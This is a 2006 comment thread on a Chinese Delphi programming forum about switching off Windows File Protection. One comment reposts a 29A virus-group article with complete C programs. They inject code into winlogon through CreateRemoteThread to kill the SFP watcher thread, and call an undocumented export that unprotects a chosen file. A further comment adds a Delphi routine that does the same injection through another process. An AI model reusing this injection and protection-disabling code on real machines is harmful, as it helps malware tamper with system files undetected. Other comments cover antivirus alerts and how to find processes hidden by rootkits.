捐赠 | 广告 | 注册 | 发布 | 上传 | 关于我们    
  粤ICP备10103342号-1 DELPHI盒子 | 盒子文章 | 盒子问答悬赏 | 最新更新 | 盒子检索 | 下载中心 | 高级搜索    
  精品专区 | 繁體中文 | 奖励公告栏 | 直通车账号登陆 | 关闭GOOGLE广告 | 临时留言    
 
广告
评论:去掉 Windows 的文件保护功能
liumazi 27338 2006/11/27 19:57:48
有点意思 嘿嘿
yuzi 27185 2006/11/16 21:08:51
几位大侠,能否提供一个最新AFXCodeHook的下载地址呀?谢谢
iceker 27094 2006/11/11 9:08:22
每次用到 CreateRemoteThread  卡巴都提示 很是郁闷~
hwhohwh 27091 2006/11/10 23:44:57
phunter好像在ms-rem的网站上已经没得下了(被黑了,卡巴斯基很生气,后果很严重
:D),但是在wasm.ru上大家可以搜索一下,可以下到的.
hwhohwh 27090 2006/11/10 23:39:04
其实29A里早有牛人总结出了方法,和这个不一样的,我贴上来大家看一下可以很容易转成delphi的代码。
          .SFP revisited.
          .by Ratter/29A.

.Intro.
SFP again?you probably say reading the title of this article. Well
because i found two nice ways to get rid of this i will bother you
once more with it :-)


.Method #1 - The compatible one.
This is the very compatible method i found reversing some Microsoft
utitities. It is used by them to let them modify the protected files.
So here is how it works:

It uses an undocumented export from sfc.dll #2 which name is
SfcTerminateWatcherThread. It does exactly what it says :-) It
terminates the Watcher Thread ie the thread that handles the
directory change notifications. So we will call this function in the
context of winlogon thus disabling the SFP on the box. I wrote an
article about infecting winlogon so just to remember: first you need
to adjust privileges, enable SeDebugPrivilege. This can be 
done only from administrator account or under an account that has
SeDebugPrivilege assigned to it. The rest is just invoking function
in remote thread, read the code.

This method works on Win2k, WinXP and i bet it will work on W2k3 but
currently don't have access to this so haven't tested. If you do, pls 
test it and let me know.

Btw you maybe ask, how it is possible that this works on XP boxes
also when sfc.dll no longer handles the SFP? Well #2 export from
sfc.dll is redirected to sfc_os.dll :-)

---- beginning of sfc_disable.c ----
#include <windows.h>
#include <assert.h>
#include <stdio.h>

#pragma check_stack (off)

DWORD thread_func (FARPROC sfc_terminate)
{
   sfc_terminate();
   return 0;
}

void after_thread_func(void)
{
}
#pragma check_stack 

int adjust_privileges(void)
{
  HANDLE token_handle;
  int ret=0;

  if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token_handle))
  {
    LUID luid;
    if(LookupPrivilegeValue(NULL, "SeDebugPrivilege", &luid))
    {
      TOKEN_PRIVILEGES tk_priv;

      tk_priv.PrivilegeCount=1;
      tk_priv.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
      tk_priv.Privileges[0].Luid=luid;

      if(AdjustTokenPrivileges(token_handle,
          FALSE,
          &tk_priv,
          0,
          NULL,
          NULL)) ret=1;
    }
    CloseHandle(token_handle);
  }
  return ret;
}

void main(int argc, char **argv)
{
  HANDLE remote_thread;

  if(argc!=2)
  {
    printf("Usage: sfc_disable <winlogon_pid>\n");
    exit(0);
  }

  DWORD wpid=atoi(argv[1]);
  assert(wpid);

  HMODULE sfc=LoadLibrary("sfc.dll");
  assert(sfc);

  FARPROC sfc_terminate=GetProcAddress(sfc, (char *) 2);
  assert(sfc_terminate);

  assert(adjust_privileges());

  HANDLE process=OpenProcess(PROCESS_ALL_ACCESS, FALSE, wpid);
  if(!process)
  {
    printf("Error while opening process\n");
    exit(0);
  }

  LPVOID remote_mem=VirtualAllocEx(process,
          NULL,
          (SIZE_T) ((char *)after_thread_func-(char *)thread_func),
          MEM_COMMIT,
          PAGE_READWRITE);
  if(!remote_mem)
  {
    printf("Error while commiting memory in the remote process\n");
    goto clean_up;
  }

  if(!WriteProcessMemory(process,
          remote_mem,
          (char *) thread_func,
          (SIZE_T) ((char *)after_thread_func-(char *)thread_func),
          (SIZE_T *) 0))
  {
    printf("Error %d while writing to the remote process\n", GetLastError());
    goto clean_up;
  }

  remote_thread=CreateRemoteThread(process,
          NULL,
          0,
          (LPTHREAD_START_ROUTINE) remote_mem,
          // (LPTHREAD_START_ROUTINE) sfc_terminate
          (LPVOID) sfc_terminate,
          0,
          NULL);
  if(!remote_thread)
  {
    printf("Error while creating remote thread in the process\n");
    goto clean_up;
  }
          
  if(WaitForSingleObject(remote_thread, 10*1000)==WAIT_TIMEOUT)
    printf("Timeout occured while waiting for the remote thread\n");

  CloseHandle(remote_thread);

clean_up:
  if(remote_mem) VirtualFreeEx(process, remote_mem, 0, MEM_RELEASE);
  CloseHandle(process);
}
---- end of sfc_disable.c ----


.Method #2 - The nice one.
This method is the nicest one from all i'm currently aware of. It is
XP only (maybe W2k3??) and it's more or less some kind of a backdoor
of Microsoft :-) Where's the point?

When i was looking for changes in WinXP implementation of the system
file protection first i of course found, that SFP is now not in
sfc.dll but rather in sfc_os.dll so i fired up IDA and started to
look around the code. It didn't took so much time when i found it. In 
XP's implementation of SFP there exists a facility to disable SFP on
file basis for one minute. Don't you trust me? Then test it :-)

---- beginning of sfp_exc.c ----
#include <windows.h>
#include <assert.h>
#include <stdio.h>

typedef DWORD (* SFPEXC)(DWORD, wchar_t *, DWORD);

void wmain(int argc, wchar_t **argv)
{
  HMODULE sfc_os;
  SFPEXC sfp_exc;

  assert(argc==2);
  assert(sfc_os=LoadLibrary("sfc_os.dll"));
  assert(sfp_exc=(SFPEXC) GetProcAddress(sfc_os, (char *) 5));

  assert(!sfp_exc(0, argv[1], -1));
  wprintf(L"File %s should now be unprotected for 1 minute", argv[1]);
}
---- end of sfp_exc.c ----

For this method you have to use administrator account since the code
explicitly checks for it. It uses an undocumented export #5 named
SfcFileException that again does what the name says :-) It first
looks whether the file is protected and if it is, it assigns a flag
to it. Now when the watcher thread is invoked because of
replacement/modification/deletion of the protected file it first
checks, whether the file should be exceptioned. If it should, then it 
tests whether the exemption fits into one minute interval. If it does 
than voila it does nothing but goes on :-)


.Closing.
Hopefully these two little progs i showed you in this article will
make our work on SFP protected boxes more pleasant than it currently
is. And of course - if you have any ideas/suggestions, write me.

btw - watch the file size ;-)

--
Ratter/29A - I'm a stranger in the world I haven't made.
hwhohwh 27089 2006/11/10 23:17:30
至于如果查RootKit隐藏的进程,大家可以看一下俄罗斯大牛Ms-rem的代码。我记得好像是phunter(Process Hunter),内核驱动是用C写的,界面是用delphi写的,很不错的,值得一看,但是它也不能查出所有被隐藏的进程。
wr960204 27088 2006/11/10 23:04:24
楼上的代码果然简单。我的代码主要多了Kernal32的定位和自己实现的GetProAdress。
K32模块的ImageBase基本是固定的。函数调用代码拷贝过去创建远线程调用一样的地址没问题。
这里WinLogon进程K32几乎总是固定的。但如果是其他进程的话EXE文件的IMAGEBASE覆盖了K32模块的IMAGEBASE那么K32的位置就不是固定了。
我的应该是使用范围更广一点。当然就这个去掉保护的功能可能还是楼上的方法更简介。
hke 27086 2006/11/10 22:02:51
DisableSFC在AFXHookCode就有的,更为精简
不过楼主的代码让人学到不少东西
hke 27085 2006/11/10 21:49:26
不用这么麻烦吧?
拿到dubug权限后:
function DisableSFC: Boolean;
var
  Process, SFC, PID, Thread, ThreadID: dword;
begin
  Result := False;
  SFC := LoadLibrary('sfc.dll');
  GetWindowThreadProcessID(FindWindow('NDDEAgnt', nil), @PID);
  Process := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
  Thread := CreateRemoteThread(Process, nil, 0, GetProcAddress(SFC, pchar(2 and $ffff)), nil, 0, @ThreadId);
  if Thread = 0 then Exit;
  CloseHandle(Thread);
  CloseHandle(Process);
  FreeLibrary(SFC);
  Result := True;
end;
lxdu 27080 2006/11/10 13:47:34
To wr960204
如何实现呢?能否共享一下代码?
st52 27076 2006/11/10 11:26:37
学习啊``
wr960204 27075 2006/11/10 11:25:29
读取被RootKit隐藏的进程可以做个驱动到内核态去查。
Ring3级别很难查出来。
thstzy 27071 2006/11/10 9:20:26
以前一直做数据库系统,对系统开发了解甚少,这对我很有用。
jyh11111 27070 2006/11/10 8:54:36
不能读取Rootkit隐藏的进程,因为它是调用"Ntdll.dll"中的NtQuerySystemInformation来工作的,所以不能
iceker 27069 2006/11/10 7:54:28
呵呵  佩服~

对了 看了你里面扫描进程的代码 那个是否能读取Rootkit隐藏的进程?
szl_2004 27067 2006/11/9 22:02:50
呵呵,偶下载试试~
第一页 上一页 下一页 最后页 有 16 条纪录 共1页 1 - 16
 用户名:
 密 码:
自动登陆(30天有效)
 
  DELPHI盒子版权所有 技术支持:深圳市麟瑞科技有限公司 1999-2024 V4.01 粤ICP备10103342号-1 更新RSS列表